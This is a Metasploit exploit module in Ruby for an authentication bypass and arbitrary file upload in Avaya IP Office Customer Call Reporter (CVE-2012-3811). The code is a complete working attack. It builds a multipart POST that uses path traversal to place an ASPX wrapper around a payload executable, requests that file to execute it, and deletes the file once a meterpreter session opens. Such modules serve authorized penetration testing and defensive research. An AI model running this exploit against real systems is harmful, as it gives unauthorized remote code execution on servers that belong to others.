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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'uri'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::EXE
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  def initialize
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    super(
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      'Name'           => 'Avaya IP Office Customer Call Reporter ImageUpload.ashx Remote Command Execution',
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      'Description'    => %q{
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          This module exploits an authentication bypass vulnerability on Avaya IP Office
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        Customer Call Reporter, which allows a remote user to upload arbitrary files
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        through the ImageUpload.ashx component. It can be abused to upload and execute
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        arbitrary ASP .NET code. The vulnerability has been tested successfully on Avaya IP
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        Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 SP2.
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      },
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      'Author'      =>
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        [
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          'rgod <rgod[at]autistici.org>', # Vulnerability discovery
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          'juan vazquez' # Metasploit module
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        ],
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      'Platform'    => 'win',
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      'References'  =>
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        [
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          [ 'CVE', '2012-3811' ],
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          [ 'OSVDB', '83399' ],
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          [ 'BID', '54225' ],
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          [ 'URL', 'https://downloads.avaya.com/css/P8/documents/100164021' ],
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          [ 'ZDI', '12-106' ]
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        ],
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      'Targets'     =>
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        [
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          [ 'Avaya IP Office Customer Call Reporter 7.0 and 8.0 / Microsoft Windows Server 2003 SP2', { } ],
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        ],
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      'DefaultTarget'  => 0,
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      'Privileged'     => false,
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      'DisclosureDate' => 'Jun 28 2012'
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    )
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, 'The URI path of the Avaya CCR applications', '/'])
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      ])
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    self.needs_cleanup = true
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  end
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  #
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  # Remove the .aspx if we get a meterpreter.
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  #
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  def on_new_session(cli)
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    if cli.type != 'meterpreter'
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      print_error("Meterpreter not used. Please manually remove #{@payload_path}")
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      return
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    end
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    cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
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    begin
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      print_warning("Removing #{@payload_path}")
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      cli.fs.file.rm(@payload_path)
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      print_good("#{@payload_path} deleted")
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    rescue ::Exception => e
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      print_error("Unable to delete #{@payload_path}: #{e.message}")
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    end
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  end
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  def exploit
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    # Generate the ASPX containing the EXE containing the payload
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    exe = generate_payload_exe
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    aspx = Msf::Util::EXE.to_exe_aspx(exe)
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    aspx_b64 = Rex::Text.encode_base64(aspx)
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    uri_path = target_uri.path
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    uri_path.path << "/" if uri_path[-1, 1] != "/"
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    boundary = "---------------------------#{rand_text_alpha(36)}"
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    my_data = "--#{boundary}\r\n"
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    my_data << "Content-Disposition: form-data; name=\"RadUAG_fileName\"\r\n"
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    my_data << "\r\n"
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    my_data << "#{rand_text_alpha(rand(5)+3)}.aspx\r\n"
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    my_data << "--#{boundary}\r\n"
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    my_data << "Content-Disposition: form-data; name=\"RadUAG_data\"\r\n"
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    my_data << "\r\n"
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    my_data << "#{aspx_b64}\r\n"
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    my_data << "--#{boundary}\r\n"
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    my_data << "Content-Disposition: form-data; name=\"RadUAG_targetFolder\"\r\n"
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    my_data << "\r\n"
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    my_data << "../../CCRWallboardMessageBroker/\r\n"
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    my_data << "--#{boundary}\r\n"
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    my_data << "Content-Disposition: form-data; name=\"RadUAG_position\"\r\n"
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    my_data << "\r\n"
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    my_data << "0\r\n"
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    my_data << "--#{boundary}\r\n"
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    my_data << "Content-Disposition: form-data; name=\"RadUAG_targetPhysicalFolder\"\r\n"
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    my_data << "\r\n"
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    my_data << "\r\n"
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    my_data << "--#{boundary}\r\n"
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    my_data << "Content-Disposition: form-data; name=\"RadUAG_overwriteExistingFiles\"\r\n"
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    my_data << "\r\n"
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    my_data << "True\r\n"
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    my_data << "--#{boundary}\r\n"
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    my_data << "Content-Disposition: form-data; name=\"RadUAG_finalFileRequest\"\r\n"
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    my_data << "\r\n"
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    my_data << "True\r\n"
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    my_data << "--#{boundary}\r\n"
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    my_data << "Content-Disposition: form-data; name=\"UploadImageType\"\r\n"
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    my_data << "\r\n"
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    my_data << "0\r\n"
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    my_data << "--#{boundary}\r\n"
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    my_data << "Content-Disposition: form-data; name=\"WallboardID\"\r\n"
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    my_data << "\r\n"
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    my_data << "0\r\n"
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    my_data << "--#{boundary}--\r\n"
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    #
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    # UPLOAD
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    #
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    attack_url = uri_path + "CCRWebClient/Wallboard/ImageUpload.ashx"
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    print_status("Uploading #{aspx_b64.length} bytes through #{attack_url}...")
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    res = send_request_cgi({
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      'uri'          => attack_url,
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      'method'       => 'POST',
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      'ctype'  => "multipart/form-data; boundary=#{boundary}",
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      'data'         => my_data,
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    }, 20)
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    payload_url = ""
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    @payload_path = ""
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    if res and res.code == 200 and res.body =~ /"Key":"RadUAG_success","Value":true/
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      print_good("Payload uploaded successfully")
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    else
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      print_error("Payload upload failed")
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      return
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    end
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    # Retrieve info about the uploaded payload
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    if res.body =~ /\{"Key":"RadUAG_filePath","Value":"(.*)"\},\{"Key":"RadUAG_associatedData/
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      @payload_path = $1
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      print_status("Payload stored on #{@payload_path}")
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    else
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      print_error("The payload file path couldn't be retrieved")
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    end
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    if res.body =~ /\[\{"Key":"UploadedImageURL","Value":"(.*)"\}\]/
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      payload_url = URI($1).path
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    else
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      print_error("The payload URI couldn't be retrieved... Aborting!")
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      return
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    end
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    #
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    # EXECUTE
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    #
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    print_status("Executing #{payload_url}...")
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    res = send_request_cgi({
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      'uri'          =>  payload_url,
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      'method'       => 'GET'
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    }, 20)
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    if (!res or (res and res.code != 200))
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      print_error("Execution failed on #{payload_url} [No Response]")
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      return
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    end
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  end
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end
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